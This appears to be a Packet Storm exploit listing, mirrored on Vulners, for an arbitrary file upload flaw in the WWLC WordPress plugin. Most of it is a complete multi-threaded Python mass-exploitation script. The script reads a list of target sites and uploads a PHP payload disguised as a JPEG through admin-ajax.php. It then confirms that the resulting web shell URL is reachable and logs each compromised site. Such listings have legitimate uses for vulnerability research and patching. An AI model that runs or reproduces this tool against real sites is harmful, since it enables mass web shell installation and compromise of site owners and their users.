Lucene search
K

📄 WordPress WWLC 2.0.3.1 File Upload Scanner

🗓️ 16 Mar 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 123 Views

Multi-threaded scanner detects WWLC WordPress plugin file upload flaw and verifies payload storage.

Code
=============================================================================================================================================
    | # Title     : WWLC WordPress Plugin 2.0.3.1 Arbitrary File Upload Mass Scanner Multi‑Threaded Python Exploit                              |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
    | # Vendor    : https://woocommerce.com/                                                                                                    |
    =============================================================================================================================================
    
    [+] Summary    : This Python tool is a multi‑threaded scanner designed to detect an arbitrary file upload vulnerability in the WWLC WordPress plugin. 
                     The script loads a list of target websites from a file and attempts to upload a crafted PHP payload through the vulnerable admin-ajax.php 
    				 endpoint using the wwlc_file_upload_handler action. After sending the upload request, the tool verifies whether the file was successfully stored in the WordPress uploads directory by requesting the generated file URL. 
    				 The scanner supports retry logic, connection error handling, and concurrent scanning using multiple threads for faster large‑scale assessments. 
                     Successful uploads are recorded in output files for later review, while failed or unreachable targets are handled gracefully to maintain scan stability.
    			  
    [+] POC   : 
    
    
    #!/usr/bin/env python3
    # -*- coding: utf-8 -*-
    
    import os
    import sys
    import json
    import time
    import threading
    import queue
    from urllib.parse import urlparse
    
    import requests
    from colorama import init, Fore, Style
    
    init(autoreset=True)
    
    THREADS = 40
    TIMEOUT = 10
    RETRIES = 6
    
    SITES_FILE = "kll.txt"
    BPVULN_FILE = "exploited.txt"
    VULN_FILE = "vuln.txt"
    
    PAYLOAD_PATH = "/sdcard/1/404_protected.php"
    
    HEADERS = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
        "Accept": "application/json, text/javascript, */*; q=0.01",
    }
    
    FILE_SETTINGS = {
        "allowed_file_types": ["php", "png", "jpg"],
        "max_allowed_file_size": 5000000
    }
    
    file_lock = threading.Lock()
    
    requests.packages.urllib3.disable_warnings()
    
    
    def create_session():
        session = requests.Session()
        session.headers.update(HEADERS)
        session.verify = False
        return session
    
    
    def normalize(site):
    
        site = site.strip()
    
        if not site.startswith("http://") and not site.startswith("https://"):
            site = "http://" + site
    
        return site.rstrip("/")
    
    
    def load_sites():
    
        if not os.path.exists(SITES_FILE):
            print(Fore.RED + f"[-] {SITES_FILE} not found")
            sys.exit(1)
    
        with open(SITES_FILE, "r", encoding="utf-8") as f:
            sites = [normalize(line) for line in f if line.strip()]
    
        return sites
    
    
    def check_vulnerability(site, session):
    
        parsed = urlparse(site)
    
        base = f"{parsed.scheme}://{parsed.netloc}"
    
        ajax_url = base + "/wp-admin/admin-ajax.php"
    
        uploads_dir = base + "/wp-content/uploads"
    
        for attempt in range(RETRIES):
    
            try:
    
                with open(PAYLOAD_PATH, "rb") as f:
                    file_data = f.read()
    
            except Exception as e:
    
                print(Fore.RED + f"[!] Payload error: {e}")
    
                return None
    
            files = {
                "action": (None, "wwlc_file_upload_handler"),
                "uploaded_file": ("404.php.jpg", file_data, "image/jpeg"),
                "file_settings": (None, json.dumps(FILE_SETTINGS), "application/json")
            }
    
            try:
    
                response = session.post(ajax_url, files=files, timeout=TIMEOUT)
    
                try:
                    data = response.json()
                except Exception:
                    data = None
    
                if isinstance(data, dict):
    
                    if data.get("status") == "success" and "file_name" in data:
    
                        filename = data["file_name"]
    
                        shell_url = uploads_dir + "/" + filename
    
                        try:
    
                            verify = session.get(shell_url, timeout=TIMEOUT)
    
                            if verify.status_code == 200:
    
                                print(Fore.GREEN + f"[+] {site} -> {filename}")
    
                                return ("success", filename, uploads_dir)
    
                        except Exception:
                            pass
    
                return ("fail", None, None)
    
            except (requests.exceptions.Timeout, requests.exceptions.ConnectionError):
    
                if attempt < RETRIES - 1:
    
                    print(Fore.YELLOW + f"[~] {site} retry {attempt+1}/{RETRIES}")
    
                    time.sleep(1)
    
                else:
    
                    print(Fore.RED + f"[-] {site} failed after retries")
    
                    return ("timeout", None, None)
    
            except Exception as e:
    
                print(Fore.RED + f"[!] {site} unexpected error: {e}")
    
                return ("error", None, None)
    
        return ("fail", None, None)
    
    
    def worker(q, session):
    
        while True:
    
            try:
                site = q.get(timeout=1)
    
            except queue.Empty:
                break
    
            result = check_vulnerability(site, session)
    
            if result and result[0] == "success":
    
                _, filename, uploads_dir = result
    
                with file_lock:
    
                    with open(BPVULN_FILE, "a", encoding="utf-8") as f:
                        f.write(f"{site} > {filename}\n")
    
                    with open(VULN_FILE, "a", encoding="utf-8") as f:
                        f.write(f"{uploads_dir}\n")
    
            q.task_done()
    
        session.close()
    
    
    def main():
    
        print(Fore.CYAN + Style.BRIGHT + """
    ╔════════════════════════════════════╗
    ║   WWLC File Upload Mass Scanner    ║
    ║       Fixed by indoushka           ║
    ╚════════════════════════════════════╝
    """)
    
        sites = load_sites()
    
        print(Fore.CYAN + f"[*] Loaded {len(sites)} sites")
    
        for f in [BPVULN_FILE, VULN_FILE]:
    
            if os.path.exists(f):
                os.remove(f)
    
        q = queue.Queue()
    
        for site in sites:
            q.put(site)
    
        threads = []
    
        for _ in range(min(THREADS, len(sites))):
    
            session = create_session()
    
            t = threading.Thread(target=worker, args=(q, session))
    
            t.daemon = True
    
            t.start()
    
            threads.append(t)
    
        q.join()
    
        for t in threads:
            t.join(timeout=1)
    
        print(Fore.CYAN + "[*] Scan completed")
    
    
    if __name__ == "__main__":
        main()
    	
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation